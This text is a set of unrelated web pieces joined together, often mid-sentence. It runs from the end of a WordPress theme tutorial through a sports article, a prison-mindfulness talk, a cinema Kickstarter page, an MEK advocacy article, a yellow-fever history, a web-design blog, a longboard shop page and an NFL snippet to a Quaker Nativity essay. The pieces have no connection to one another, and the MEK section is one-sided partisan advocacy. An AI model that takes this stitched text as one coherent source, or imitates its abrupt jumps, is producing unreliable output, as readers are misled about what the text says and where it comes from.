Now it should show up correctly. However, if the CSS is not applying, please View the source of your HTML output and find out what the URL of your CSS is. It should be startwordpress.dev/wp-content/themes/startwordpress/blog.css. Make sure to do a hard refresh.
Much better.
Pages
I want the pages to have a different layout than the blog posts; I don’t want sidebars on them. Think of index.php as the blog-index and page.php as the page-index. I’m going to create page.php, which will be very similar to the index except have a full 12-wide grid instead of an 8-wide content and 4-wide sidebar.
page.php
<?php get_header();?> <div class="row"> <div class="col-sm-12"> <?php if ( have_posts() ) : while ( have_posts() ) : the_post(); get_template_part( 'content', get_post_format() ); endwhile; endif;?> </div> <!-- /.col --> </div> <!-- /.row --> <?php get_footer();?>
When I click on my sample page, the layout is now different than the blog post layout.
Conclusion
There is much, much more to learn about WordPress. I sincerely hope this article opened a world of possibilities to you. Now you know that any website can be converted into a WordPress theme – without using plugins, widgets, or someone else’s theme.
If something was unclear, please let me know. If I’ve posted any blatantly incorrect information, please let me know! Any feedback is greatly appreciated! My aim was to make the article I wish I had in front of me when I first started learning how to use WordPress and PHP.
If you would like to know how to migrate this local instance to a live server, view this small tutorial:
Migrating WordPress
Last updated: 4/16/2018
In part two, I discuss additional functionality for WordPress, such as paginaton, comments, functions, custom post types, and more. In part three, I go over how to create custom fields and metaboxes.
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Unsubscribe whenever. Never any spam.Florida State starting quarterback Jameis Winston, last season’s Heisman Trophy winner, has had a tough time staying out of the headlines in the past year. In November of 2013, Winston was investigated for an alleged sexual assault that took place back in 2012. In April of 2014, Winston was cited for stealing crab legs and crawfish from a Tallahassee Publix. Last month, it was reported by USA Today that in November of 2012, Winston was handcuffed by police after shooting a pellet gun on campus.
Still, whoever runs Florida State’s Twitter account decided it would be a good idea to let fans on the social media medium freely ask him questions Sunday morning. Yep, the #AskJameis campaign was indeed a bad idea.
#Noles Fans: Do you have a question for our starting QB Jameis Winston? Tweet us using #AskJameis. — FSU Football (@FSU_Football) August 10, 2014
A quick scan on Twitter revealed less than a handful of football-related questions. The rest were along these lines:
@FSU_Football aside from your game, how much has your use/comprehension of the English language improved this offseason? #AskJameis — Shawn Laurence (@ShawnLaurence) August 10, 2014
@FSU_Football @ESPNCFB Was the crab leg thing a brilliant ploy to distract press & fans from that OTHER lingering issue? #askjameis #noles — Van Plexico (@VanAllenPlexico) August 10, 2014
Get butter w/crab legs?? “@FSU_Football: #Noles Fans: Do you have a question for our starting QB Jameis Winston? Tweet us using #AskJ |
point, the only salient question of "What am I going to do? What am going to do with this?" That's focusing my energy on that which I can do something about which is myself. We spend so much of out time blaming external circumstances, blaming internal circumstances, blaming our past, blaming our childhood, blaming other people, blaming the weather for our own internal states and our own states of motivation or lack of motivation. It's just a waste of time because none of that do we have any control over whatsoever. It's hard enough to influence our own behaviors but at lease we have a shot there.My focus is this idea of radical responsibility to voluntarily embrace 100% ownership. That's a constant transformation for myself day in and day out to keep stepping up to the plate. I gradually deliver these trainings and in the midst of it I help people discovering this, what I call life distinction, that circumstances are neutral. Now of course, some circumstances feel a lot less neutral than others. Some are criminal, some are horrible, some are just heartbreaking we wish they would never happen to any human being but at some point, once some things happened the only place we can move forward in ours lives is to focus "What am I going to do with this? Maybe I just to go get a lot of healing and a lot of support." Still at some point there's a choice, what am I going to do with this? Otherwise we move into that victim mind thinking where I'm helpless and the cause of my internal state is out there and I'm powerless to do anything about it.Now it's completely reasonable that we fall into that as human beings and horrible things happen to young people, I'm in any way not validating that, but nonetheless where we can put our energy to empower ourselves to move forward with our practice with our life is really, for me, this idea of radical ownership or radical responsibility. Where we waste as little time as we can in blame and resentment and being caught up in being right. Instead just focus, what is the most creative response to what I'm facing right now?We've got a couple of questions from the online forum. The first is: have you had any suggestions on how to begin to de-radicalize Islamic young men in prison in America and Europe?Yeah, wow that's a big one. That's not an area where I've done any work so I'm really hesitant to say much. The only thing I could say it would have to start with empathy. Demonizing people, making them wrong doesn't help. I don't him to it in any way shape or form, but Marshall Rosenberg, who was a great teacher to me now is working on Nonviolent Communications. He often used the example of sex offenders, and I'm not in any way connecting that with the radical Islamic thing, but I'm just using it as a point that he said how do we relate with them? Well we just shower them with fear and demonization and shame right? That actually just feeds their cycle of playing out their own additions of shame. What we have to feel is get into an empathic space with them where we realize that they're trying to get their needs met in the most beautiful way they can.When he says that in relation to sexual offenders the audience goes crazy. Well if he said that in relation to someone involved in terrorism the audience would go crazy too. We have to be able to listen to them and realize that their actions are coming out of their own pain, their own suffering and they're trying to meet their needs in someway or other. We're all trying to meet the same needs, be happy, safe and secure. All human beings. Unfortunately we get our psychology twisted up and we do some pretty terrible things in that effort to meet our needs.I think it has to start with listening and with empathy. You've got to create relationship if there's going to be any dialog about helping invite someone into different strategies to get their needs met, then it's got to happen within a ground of empathy where they feel listened to and feel respected. I think that's where we have to begin.The other question was "Have you found any probable impact from the recent restorative justice movement in prisons and jail here in the United States?"Oh absolutely, I just wish I could expand further. We consider ourselves very much part of the restorative justice movement. I've given a lot of talks on it, been to a lot of restorative justice conferences. We very much feel we're part of the restorative and transformative justice movement and it is definitely the right answer to when there is criminal activity or human tragedy. Instead of using retributive justice or punishment orientated justice what we really need to focus on is harm reduction and how to repair the break in the community fabric. What I like about transformational or transformative justice is it goes a step further than... I mean restorative justice,... some programs certainly transformative in nature, but what the transformative justice word means, and you find more use of that in New Zealand, Australia, and in Canada, is that it's very preventative.In other words, we're looking not just how to respond to a crime once it's happened, but looking at the cause and conditions of which the crime arose. What in that individual's life who is doing some kind of harmful behavior, what has happened in their life, what do we need to do to listen to them and bring them healing. If we actually hope that they're going to start behaving differently. What are the societal causes and conditions that are creating that experience for them and many other? If we're not willing to look at how to change those societal conditions we can't hope to prevent more crime. Even with you were just starting with the crime and responding to it with a healing restorative paradigm rather than a punish re tribute paradigm you're going to get much better results. I'm a big believer in both restorative and transformative justice movements and feel part of that movement very much.Thank you, Fleet. I'd love to hear your thoughts on the folks on this call who are inspired by your work but do not engage with such marginalized populations. Any thoughts on lessons we can take to apply it in our own context? Whether that's school or work or home or place of worship. Even beyond that, if there are ways we could get involved in the kind of work that you're referencing I would love any suggestions there.Well I think we've known for thousands of years from all the worlds great faith traditions, philosophical traditions, indigenous traditions especially the contemplative aspects of those traditions, that becoming a more reflective, more awake, more conscience human being is in our own enlightened self-interest. We're going to enjoy our life more, we're going to have better health and better outcomes in life. Now we have the current brain science that supports it. There's more information coming out every week and it's so clear now that basic, consistent daily mindfulness practice has such salutary impact on the brain and on life outcomes that if somebody could put it in a pill they'd be investing billions of dollars in getting it patented right now. The science is there to show how powerful this is and it's really becoming a no-brainer that human beings from pre-school to the elderly, we should be making available to them basic mindfulness training and basic emotional intelligence training.In other words, we all have this incredibly complex system, the human brain is the most complex organism and machine actually, in existence including the whole solar system out there. Nobody gave us an instruction manual, but today we kind of have the instruction manual. Combination of the traditional contemplative traditions and modern neuro-science and we can empower ourselves to self regulate, even in our own enlightened self-interest. If we do that we're going to end up getting much better outcomes for ourselves and we're going to be much better partners with others in life.This really applies everywhere, and that's why mindfulness is going into k-12 education and into healthcare in education, in [inaudible 01:19:25], even into the military and law enforcement and other areas. I think it's something whose time is come and it's becoming very widespread. Again, this idea of where do I focus my attention? Do I want to focus my attention on my resentful feelings about by circumstances and blaming my circumstances on other people or trying to control other people?" Which is impossible or I do want to even in my own enlightened self-interest focus my precious time and energy where I can add the most value, create the most possibility and the most opportunity for myself and others in life.That applies to what we're all doing in life. Whether we're working in the corporate sector or the healthcare sector or education. Whether we're in retirement, whether it's how we work with our kids. One of the ways we get caught down there, what we call, below the line in blame, resentment and so-forth is just being hooked on being right. Well if we're parents and we have kids, especially adolescent kids, we have this deep need to be right and we're getting hooked into being right all the time, we're never going to have a relationship with our kids. They're gone right. So all of this kind of reflective, emotional intelligence training allows us to be in deeper more authentic relationships with the people in our lives through owning our own stuff. Not projecting it onto others. Society of radical responsibility, being accountable, keeping our agreements, being genuine, open and vulnerable to others. That creates trust and that creates authentic relationship. That grows across every sphere of human activity, because we don't do this thing alone. Whatever we're going to accomplish in our lives we're going to do in relationship with others so learning how to be an authentic relationship to others to me is the key human learning. I think it's there, it's available, and it's applicable to every aspect in our lives in whatever direction our life might take.Thank you for that response. As the host of the call, it's my privileged to ask you one final question. Which is how can we as a broader service based community support your work?Well, you can learn about it to begin with. Our prison work is at prisonmindfulness.org. Also now a big focus of ours is training mindfulness teachers to work with that risk population, vulnerable populations. Same organization different division engagedminfulness.org. We have a front to back initiative that transformed the whole criminal justice system at mindfuljustice.org. Check out those websites, learn about our work. If you want to support our work financially you can figure out how to do that through the sites, if you want to get involved in it you can figure out how to do that. We have lots of online trainings where we get people started on how to take mindfulness programs into jails and prisons. If you want to become a certified mindfulness teacher we offer that kind of training. If you just want to be in community with us we have all kinds of ways to get into community. That's where I would start, just learn about the work we're doing and if you'd like to engage, find a way to get engaged. We really welcome that on whatever level, in any way shape or form that people want to be engaged in this work. Let us know how we can support you in this work, if you have aspirations to do this kind of work let us know how we can support you.Wonderful. Happy Saturday to you, and everyone listening.** We have a last minute incentive! Pink Martini's holiday CD, "Joy to the World," along with 2 movie passes, for your pledge of $25 or more!
The C21 Seat Yourself story:
After adding a whole new wing last fall with 2 new screens, restrooms and a snack bar (Part One), we need to replace the worn, 50 year-old seats in our main auditorium to continue the transformation to modernize and equip Cinema 21 for the future (Part Two).
By keeping the historical art deco facade and design in the main theater while upgrading the seats, this renovation will help in making Cinema 21 a sustainable and competitive community theater. It will ensure that we remain competitive and thriving as we near our 100th anniversary!
Our Hard Goal is $70,000 to replace the downstairs seats, which will allow us to maintain the century-old feeling of the space while providing much needed modern comfort.
Our Stretch Goal of $99,000 will help us include the balcony too, finishing off the whole theater at one time. Funds raised through this Kickstarter campaign will be used only for renovation projects.
HERE'S WHAT YOU CAN DO TO HELP:
"PLEDGING IS LIKE PRE-BUYING A TICKET" Indeed! pledging at the $10, $25, & $50 level is a terrific value. If you enjoy going to the C21--this is an easy way to pre-pay for tickets and get NEW seats for you to enjoy while you're here!
"YOUR NAME IN LIGHTS!" For $150 Need a great idea for a holiday card, birthday celebration or wedding announcement? C21 will put your message on our historic marquee and send you a high-resolution image!
BUY A SEAT! $250 gives you naming rights to one of the newly installed seats! A plaque will be attached to the seat with your name or that of a loved or your favorite movie, character or director. Whatever you’d like! In essence, you are buying yourself a seat! We expect this to be a popular incentive.
JOIN OUR WALL OF CINEMA SAINTS TODAY!
Immortalize yourself (kind of) on our Wall of Cinema Saints! We are creating a special plaque for the back wall of our main auditorium which will feature, reverently, the names of generous backers who wish to leave their mark on our classic space.
There are seven levels of sainthood:
St. Scorsese - for pledges of $100-$499
- for pledges of St. Kubrick - for pledges of $500-$999
- for pledges of St. Almodovar - for pledges of $1000-$1999
- for pledges of St. Hitchcock - for pledges of $2000-$2999
- for pledges of St. Kurosawa - for pledges of $3000-$3999
- for pledges of St. Fellini - for pledges of $4000-$4999
- for pledges of St. Bergman - for pledges of $5000 or more
Just choose your level of sainthood from the incentives on the right-hand side of this page. Your pledge guarantees your name wall along with the other Saints.
Check out the great press we have gotten for the campaign so far:
Portland Mercury, Aug. 25, 2014
Willamette Week, Aug. 25, 2014
Oregonlive.com, Aug. 26, 2014
KGW.com, Aug. 27, 2014
Portland Business Journal, Aug. 28, 2014
Read more about Cinema 21 and Tom's Story in Shawn Levy's article
** If you are having difficulties with the Kickstarter pledge system, please email us at cinema21kickstarter@gmail.com and we will personally attend to your issue promptly. Thank you for your interest in our Kickstarter.
CINEMA 21
Cinema 21 is located in the heart of Portland's NW neighborhood on 21st Avenue between Hoyt and Irving Streets. Over its 88 year history, the theater has become a hub for the city's film culture and Portland's most revered cinema. The theater has brought to town some of the most acclaimed indie and art films over the last 30 years including the Portland premieres of Drugstore Cowboy, The Thin Blue Line, Slacker, Hearts of Darkness, Crouching Tiger Hidden Dragon, Hedwig and the Angry Inch, There Will Be Blood, The Wrestler, Grand Budapest Hotel, Boyhood and many, many, more.
Filmmaking legend Steven Soderbergh answers questions at a screening of CHE at Cinema 21
Cinema 21 has hosted some of cinema's greatest filmmakers including Steven Soderbergh, Wim Wenders, Richard Linklater, Mark Duplass, Russ Meyer, Gus Van Sant, Miranda July, Todd Haynes, Mike Birbiglia and the infamous Tommy Wiseau. Cinema 21 is also a host for all the city's major film events such as the Portland International Film Festival, Hump Fest and the Portland Queer Film Festival making the theater indispensable to Portland's movie culture.
“I can’t tell you how many wonderful conversations I’ve had under the marquee at Cinema 21 -- even with total strangers.” -- Brian Lindstrom, FilmmakerNews : Iranian opposition
Details Published: 27 June 2017
By INU Staff
INU - Over 100,000 dignitaries, politicians and activists will gather in Paris this Saturday to support the Iranian people and their call for regime change in Iran at the Free Iran rally.
The annual rally, organised by the People’s Mojahedin Organization of Iran (PMOI/MEK), has attracted supporters of the Resistance from around the world, as far afield as Saudi royalty, US lawmakers, and European national security experts.
The MEK is the biggest member group within the National Council of Resistance of Iran (NCRI), a coalition of Resistance groups, which together serve as a government in exile in France.
MEK Beginnings
The MEK can be traced back over 40 years, before the fall of the Iranian Shah in 1979. They helped to overthrow Shah Reza Pahlavi’s in the hopes of establishing a democratic government who would rule on behalf of the Iranian people, however, this was not to be.
Ruhollah Khomenei and his supporters co-opted the popular revolution in order to further subjugate the people of Iran. They took over and established a theocracy, which imposes a fundamentalist reading of Islam onto the people, rather than a democracy that was needed.
The MEK spoke out against this, noting that the Iranian Regime was barely even paying lip service to democracy by holding sham elections and having Khomenei take over as Supreme Leader and essentially serve as the dictator of Iran.
The Regime did not take kindly to this and quickly began to persecute the MEK for speaking out against them, eventually criminalising association with the MEK and imprisoning many. Most of the leaders of the MEK were forced into exile in Iraq, where they tried to bring down this second dictatorship.
Unfortunately, these efforts just led to violence of behalf of the Regime.
The Massacre
In 1988, Khomenei issued a fatwa that ordered the execution of political prisoners, who were mainly members of the MEK. This began the greatest crime against humanity since WW2.
On Iran Focus, Jubin Katiraie wrote: “The regime convened what came to be known as the Death Commission, assigning three judges the task of briefly interviewing prisoners to determine whether they retained any sympathy for the MEK or harboured any resentment toward the existing government. Those who were deemed to have shown any sign of continued opposition were sentenced to be hanged.”
It did not matter to the Regime whether a prisoner had served their sentence in full (many had), were under the age of 18, or indeed was pregnant. They slaughtered 30,000 people over a matter of months without even the semblance of justice.
The Regime hoped to eradicate the MEK, but you cannot kill an ideology. Those who survived, mainly due to not having been in prison or being in exile, were able to spread the truth about the Regime and recruit more supporters.
MEK Today
The MEK is the best resource that many international governments have for knowing what exactly goes on within Iran, as many of its members have managed to covertly infiltrate the Regime and gain access to highly classified files and locations.
In 2017 alone, the MEK has revealed that Iran is still working on the nuclear programme in breach of the 2015 nuclear deal, has a network of 14 terror training camps, and has a much more advanced ballistic missile programme than most people thought.
Their efforts are helping to shift US policy on Iran in favour of the Resistance who are warning the US about the dangers they face. It has already led to increased sanctions against the country for its support of terrorism, human rights abuses, and ballistic missiles programme, but could soon lead to the designation of the Iranian Revolutionary Guards Corps (IRGC) as a terrorist organisation, which would mean further sanctions, or a public support for regime change in Iran.
The MEK also broadcasts news and events about the Iranian Resistance to the people of Iran, through banned satellite channels. They will do this again on Saturday, so that the people of Iran, whose internet and media is highly censored by the Regime, know that they are not alone.
Maryam Rajavi, the elected President of the Resistance, receives a great deal of support among the Iranian people, because of her ten point plan to create a non-nuclear, secular Iran, with human rights and gender equality.By Pam Keyes
In mid-1802, French general Victor-Emmanuel LeClerc took up his pen to write back to his superior and sighed in the dripping, humid heat of Port-au-Prince. His brother-in-law, Napoleon, thought it would be an easy mission to quash the latest slave uprising on the island of Haiti and French-controlled colony St. Domingue. After all, he had sent 20,000 seasoned French troops to supplement the St. Domingue garrison and assist LeClerc in ending the terror on French planters and colonists caused by marauding black slaves and maroons hiding in the mountains around Port-au-Prince and elsewhere in the country. LeClerc himself had believed they would have the rebellion ended in a few months, but there was one factor they had failed to take into account, an infinitesimally small enemy that would kill more Frenchmen than all of the black rebels could ever have slain: the dreaded virus of yellow fever.
From 1802-1803, yellow fever at St. Domingue ravaged almost 50,000 French soldiers due to their lack of immunity to the disease, plus the medical ignorance of their doctors in ways to successfully treat a fever. The ports of St. Domingue, particularly the main one at Port-au-Prince, were surrounded by quagmires and swamps, prime breeding grounds for mosquitoes during hot and humid times of spring and summer. After being bitten by an Aedes aegypti mosquito carrying yellow fever, the victim would get either a mild or a severe form of the disease a week later. Symptoms included headaches, fever, muscle cramps, nausea, a black vomit, and in the worst cases, delirium, coma and death. At one point in early summer 1802, the men were dying at the rate of as many as 50 a day. LeClerc himself fell victim to the disease late in 1802. Children under 18 usually got the mild disease, and once they had had it, were immune for life, so the French planters’ children on the island were mostly safe, as were the natives of the island, and most of the slaves, who had acquired immunity in Africa. Safe also were older residents of the island who had had the mild form in their youths.
Some 20,000 additional French reinforcements were sent to supplement the surviving troops in late 1802, and LeClerc was replaced by General Rochambeau. By November, 1803, Rochambeau retreated to France with only 3,000 survivors. Almost twice as many French troops were felled by yellow fever on the island of Haiti than were slain in the Battle of Waterloo years later.
Napoleon reacted decisively to the slave insurrection victory due to the epidemic sickness of the French troops. He had met his match in a disease he couldn’t conquer, so he abandoned all ideas about expanding the empire into the Louisiana Territory of the US, and offered it for sale to the Americans for $15 million. The purchase agreement was signed in late 1803, doubling the US in size with a penstroke. Haiti declared its independence in 1804, becoming the first independent nation in Latin America.
In the end, the US benefitted greatly from the land, port of New Orleans and Mississippi River waterways additions; the French lost a major sugar-producing colony plus the chance for expansionism; and the slaves of St. Domingue (with the leadership of Toussaint L’Ouverture and Dessalines) accomplished the only successful slave revolt, all due to a microscopic virus that physicians could not properly treat nor understand at that point in history.The first impression. In Real Estate, it’s called curb appeal. In the interwebz, it’s called your home page. There are a number of terms to describe this critical perception point, but the important thing to remember is that it's the first thing people see when they look or interact with your product, like a home or a website, and (spoiler alert) it matters.
Countless studies have been done and, yet, the old benchmark that a person forms an impression of your website within the first 3 seconds of viewing it still stands true today. That’s fairly judgemental, don’t you think? Turns out, humans can't help it. It's our job as designers to make sure that first impression is remarkable and exciting.
Our brains process imagery 60,000 times faster than we do words. When we see something, we immediately generate some sort of emotion or response, a response that is formulated quicker with graphics. This is why it is so vitally important for any website owner to dedicate the necessary time and effort to presenting the best first impression they possibly can.
So, this begs the question: What makes an engaging and beautiful homepage? Are there specific rules or guidelines one should follow to ensure successful website curb appeal? As much as we’d like to have a single list of items that guarantee a baller website, it is completely subjective and highly dependent on your business, your industry, your target audience and much more. Perhaps we can come closer to a set of guidelines by taking a look at recent trends within web design.
Web Design Trends:
The Rise of the Grid
A standout trend that has resulted from the increase in mobile browsing is websites based on a grid format. Patrick McNeil, Professor of Graphic Design at the University of Missouri St. Louis, highlights that grid or modular layouts are making a big splash in 2015. A driving force behind this trend is how easily they respond to different devices. When viewed on smaller screens, grid or modular layouts collapse elegantly to present the content in a neat and orderly fashion across a variety of resolutions. An example of this can be seen on DreamWorks Madagascar website (below). Organizing content into modules allows the page to resize smoothly and align beautifully when resolution changes. Thankfully the HubSpot COS makes working with multiple modular layouts a breeze.
Bigger is Better
99designs said it best: "'Make it big' seems to be the single most important principle of web design today." This concept is applicable to fonts, images, whitespace, copy and beyond. Long gone are the days of presenting every little detail at the onset of the website funnel. Using impactful imagery and bold, concise statements trumps over jam-packing your content above the fold in an effort to showcase all of your services. This helps guide your visitor toward the information that is relevant without overwhelming them. We’re seeing a lot of this with minimalist designs that utilize lots of white space and high-quality imagery and/or topography to grab the users attention.
Full Width Imagery
Piggybacking off of the “Bigger is Better” mentality, we’ve seen a lot of full width imagery appearing in sites as of late. There are many creative ways to implement this style that aren’t limited to just.jpg’s and.png’s. Video is playing a larger role as well, sometimes even replacing static images. Full screen background images and video was one of the major design trends of 2014, and will continue to play a large role throughout 2015. Some of the most appealing and creative examples of this are:
Launch Leads
Through the use of a minimalist navigation and a lack of content clutter, the intro video is captivating and draws your attention. By cutting out all of the distractions, this company makes sure to convey their message effectively by drawing the focus to the video.
AirBnB
Again, here we see a clean simplistic layout with little distraction and an impactful video. Directly targeted at the traveler, the video drives home the essence of AirBnB with a personal connection that any visitor can understand.
As you can see, there are trends happening in the web design sphere that are producing some really creative ideas. Now, I’d like to take a minute to emphasize the fact that although these are trends, they are not meant to be absolute necessities. What's necessay is to note what they all do well and try to solve for those accomplishments. The examples above all:
Target their personas. Each of these examples knows who their audience is and uses each of these trends to further connect with them on a deeper level. First, this requires developing those personas. (If you need help developing buyer personas, this post on our Revenue River blog can help you out!). Guide the visitor. Each site does a great job of guiding the visitor toward the content they have determined is most relevant. This also helps them guide their targeted personas down an intended path. Organize for optimal information. None of these sites are overwhelming. They use styles like minimalism or grid based architecture to lay out their sites so as to not overwhelm the viewer. The information is presented in a clean manner that allows the website visitor to find what is important to them. Use responsive design for friendliness across devices. This is nothing new, but none the less deserves a mention. It’s become an unwritten rule that your website must be mobile friendly. In addition to the new update from Google, which will affect your search engine ranking, you want to make sure you don’t sacrifice the user experience on alternate devices.
But I'm not done yet. What good would any self respecting blog post be without a "Top X of the Best Y" list? So without further ado, here are my top 5 greatest homepage designs for 2015:
My Top 5 Greatest Homepage Designs for 2015:
Google is the quintessential example of persona driven design. Who are their targeting? Well, 1) just about everybody and 2) everybody who has a google account. The sole need Google serves is to produce the most relevant answers to any question. They have stayed true to this by refusing to clutter their home page with gobs of information like Yahoo and other search engine providers. This design is the most effective example of guiding users toward a desired action. They have literally removed any and all distractions, allowing the person to focus solely on their need: getting an answer for their particular question.
Then, for the secondary persona who uses Google accounts and services (which let’s face it, it’s still everybody), there are minimalist controls on top and bottom to discover additional features and functionalities. In this case, it’s ok they take a back seat to the primary objective. And, again, this secondary persona is familiar with Google accounts and doesn't need the direction a new user would need. Lastly, this design is easily (almost too easily) adapted to various resolutions and devices so the user experience is extremely consistent.
With the Spotify homepage, we see the convergence of many recent trends. First, we have the “Bigger is Better” rule in full effect with the main banner image and bottom of the funnel Call to Action that targets the persona of potential premium subscribers. As we scroll down we see a beautiful grid or modular layout that features what? MUSIC FOR EVERYONE! And then we see a variety of artists that can appeal to all tastes.
The grid layout is effective in keeping your visitors attention because natural curiosity leads most people to scroll further down to see what other features or boxes there are. This then leads to a very effective secondary call to action that targets the persona of new subscriber. Lastly, they end with a standard value prop that is presented in a clean, easy to digest manner.
Apple has always had a reputation of presenting a clean and modern image. From their products to their website, Apple has set the standard. On their homepage, they pay close attention to the fold. Even with a large colorful image, they are still able to present all of their offerings without causing the user to scroll to see more info. How much easier could it be?
Apple fans are also considered to be fairly tech savy and on the cutting edge of new technology. The messaging on the main banner directly targets this persona and provides additional information in the form of a video. Notice the use of the carefully crafted “Experience” language as opposed to "Watch", "See", or "Download". Sexy Apple, very sexy indeed. And I think we can all assume that the maker of the iPhone and iPad takes careful consideration in the responsiveness of their website.
You might be thinking at this point, “Google? Apple? Spotify? What kind of list is this? Anymore Fortune 500 companies you got on here?” Actually, yes, but take a second to think about how much time, money, R&D, etc. these companies put into their marketing efforts. We can learn a lot from them as they are the most successful in their individual niches. But back on track…
Arguably due to the influence of it’s big brother (hint: Twitter), Square follows in the same clean impactful design. Here, we’re dealing with a fairly complex concept of payment processing. There’s a whole lot of information surrounding Square and the services it provides, information the visitor likely doesn't understand. It would be very easy to crowd the page with 1,000s of facts, statistics, calls to action, and so on, but Square does a fantastic job at presenting all the information in an easy to digest fashion.
Through use of whitespace, the eye is guided through a sequential process which allows you to easily find the information you need. The structure of the page is organized in a way to present educational information at the beginning, followed by a very inconspicuous bottom of the funnel call to action. Further down the page you see very deliberate product positioning followed by a wealth of information. The color pallet for the resources allows the user to easily distinguish categories providing them an easier time locating the topic they are interested in.
As we continue, we see a very appealing grid of images targeting even more segmented personas based on industry. This is now the third opportunity to target a persona just on the first page. And each one considerably different than the preeceding image. Finally, we have the "consideration stage" content targeting the four biggest considerations for a potential client gathering info about new payment processing options. Clean, organized and visually appealing, Square does a great job on their home page.
How could you not love the Big Commerce site? It has it all: full width imagery, clean layout, strategically placed calls to action and a guided user journey. Think about it. What is important to someone who needs an eCommerce store? They need to know it works. So, if you’re not automatically driven to sign up right away by the straight forward sign up call to action on the banner, you might scroll down. BOOM!! Reassurance that this company works. Well laid out images of successful store owners with testimonial to boot.
Not only that, but Big Commerce goes one step further by showcasing the success of their clients using well known corporate logos. This is directly targeting the owner persona. Ok, so it works, but what good is it if people can’t find you? With exposure on the top of mind, How can they attract customers? Big Commerce anticipated this, so we are hit with a visual and accompanying information about SEO and marketing services.
The page is essentially leading the visitor down the thought process of the high level important considerations of a new eCommerce store owner. You can see how they then lead you to thinking about design, metrics, and other important considerations that you may have not even thought of initially. Finally, they wrap up with a reassurance that you will be supported and can feel confident that you are not alone in this endeavor. This page hits on all the major aspects of a good home page and presents it in a beautiful, responsive fashion. Score one for the Big Comm designers!
To Sum it All Up...
All-in-all you can see trends in web design are constantly changing. Regardless of
what looks hot this season, there are constant underlying best practices that will make or break your website. So, maybe your homepage doesn’t have the most beautiful font choice in the world. Maybe you really want to use creative parallax scrolling (bonus honorable mention site for parallax scrolling is Jack Daniels Bar Stories. Definitely check this one out when you have time).
No matter how crazy or insistent your designers are, Never neglect the fact that this website isn’t for you or your business. It's for your customers. As long as you keep them at the forefront of your efforts, consider where and what they are viewing your site on, and make an effort to present your site in an easy to digest fashion, your homepage will be the most effective contributor to your overall site.
Do you have any homepage examples to share? Let us know in the comments!Action Board Shop Longboard Skateboard Store
View as: Grid List 1 Sort by Position Name Price Show 16 per page per page
View as: Grid List 1 Sort by Position Name Price Show 16 per page per page
What we’re all about -
Action Board Shop was created in the fall of 2011 in the basement of an old and dated building with a weird lingering smell that has bamboozled us for years. We started out very small, with only a few longboards and skateboards, from brands like Landyachtz, Sector 9, and Loaded. Our mission was to grow the longboarding scene in the Midwest, and hopefully be able to sell enough boards to stay open.
Fast forward to today, and we’ve grown into one of the top online longboard skateboard shops in the US, have hosted and supported tons of longboarding and skateboarding events throughout the world, and have expanded our inventory into a huge selection of brands including Arbor, Bustin, Pantheon, DB Longboards, Orangatang Wheels, Paris Trucks, and many more. We offer fully customizable longboards from beginner to pro, from drop thru to cruiser, from downhill to pintail boards, we do it all. Longboard completes, decks, trucks, wheels, bearings, and even protective gear, that’s right folks, you can find it all right here.
It’s been a wild ride, and over the years we’ve enjoyed being able to cater to such a diverse customer base. We build and sell longboards for 6 year old beginners, to 60 year old veterans, and literally everyone in between. We offer high quality longboard gear, but are able to keep our prices very competitive. Yeah we may be a big online shop, but we’re still a very small company with a quaint little shop in an old basement. So check out our site and if you don’t see what you’re looking for, don’t be afraid to hit us up! If you’re in the Midwest, stop in our shop and check it out, we're still in that same old basement in East Lansing, MI. Oh and don’t worry, that mysterious weird smell has finally gone away.**Fancy yourself a bonafide Bendito/Bendite |
's a big step forward from a year ago when the defense was legitimately poor.
This Patriots team is better and they aren't just sitting in a foxhole. The AFC is better too. The Texans are a far more formidable matchup in the Divisional Round than Tim Tebow's gang of Broncos a year ago.
And this year's Broncos team is the most complete team in the AFC. The Patriots are better, but they aren't Super Bowl favorites.
Follow Gregg Rosenthal on Twitter @greggrosenthal.The Image of the Nativity Scene
Even in such a vigorously secular country such as Britain, much of our festive artwork and advertising is still littered with scenes from the Nativity; filling greeting cards, Advent Calendars, and shop fronts with the kind of religious iconography which is positively alien to most of us the rest of the year. Given the crass commercialism which is everywhere apparent in our contemporary notion of Christmas, it seems strange that this image of the shabby shepherds huddling around a tatty manger still has resonance in an age of LED Christmas trees and chocolate snowmen. What is it about the birth of this child which still has the power to capture our culture at least artistically? It certainly isn’t the background of the baby that moves us to depict him. Sadly, the surroundings of material deprivation in which Jesus was born is today shared by 1,000,000,000 of the world’s children and yet only organisations like Oxfam dare to put up their faces in the shop window. All right, what about his teachings? Does that give the Nativity its power? I don’t think so. History is never short of great orators or formidable moral teachers and yet the birthdays of most of the world’s great sages go unmarked. So, it is that modern Greeks continue to celebrate the birth of Jesus but you won’t find many Greeks celebrating the birth of Socrates! So, if the appeal is not in the biography or in the teaching, what keeps the Nativity in our minds and on our Christmas cards? Its endurance I suggest lies in the events following Jesus’ death. If you traveled back in time and asked a second-century Christian, ‘Why do you remember Jesus’ birth’? They would probably say “Because Jesus’ rose from the dead”. Determining what exactly “rose from the dead” meant to such a first-century person would be a tricky business, partly because the earliest oral sources which end up in the Gospels aren’t entirely sure themselves what happened. Yet the sources are at least agreed on a few points:
Jesus was executed under Roman supervision and buried
The disciples were disheartened and scattered.
Three days later, Jesus’ tomb was found empty by some female followers (the New Testament writers differ on the precise details here)
The person of Jesus appeared to the disciples physically
Without the last two events, the birth of this little baby born in Palestine would probably have never come to the attention of the world at large and thus Christianity would never have been born. Indeed, without the resurrection (or an earth-shaking event very much like it) Jesus’ followers would have remained demoralised, unable to preach their Master’s message, much less put their lives on the line for it no matter how much Mary insisted upon what the Gabriel had told her. After all, doubt is nothing new and most of us need a good shake before we accept the incredible. We need more than visions or hearsay to accept a life change. Thus, it is the Resurrection (and not the star, the magi or even virgin birth) which makes the first Christmas coherent for the early followers of Jesus. That isn’t to say the Nativity stories don’t reveal important dimensions of the Gospel. For Friends, this is indeed the first Quaker story, a narrative in which we glance our own reflection. Our Peace Testimony permeates the nativity in Luke and Matthew. When Friends campaign against war and injustice the divine declaration given to the Shepherds is brought to life again: ‘Glory to God in the highest, and on earth peace to men on whom his favour rests’ (Luke 2:14). When Friends genuinely practice our Testimony to Equality, we sing along with the prophetic voice of Mary, who filled with the Spirit tells us how despite her lowly status in the eyes of society, God ‘has lifted up the humble… filled the hungry with good things, but has sent the rich away empty (Luke 1:53). Here is also the call to value simplicity. God decides to manifest not in the halls of emperors and tyrants but in a ram shack through the body a frightened young woman. What about the Truth Testimony? Oddly I think the greatest mirror of truth in the Christmas Story is King Herod. He represents the world of which we are all familiar; one marred by the politics of fear, mutual suspicion, 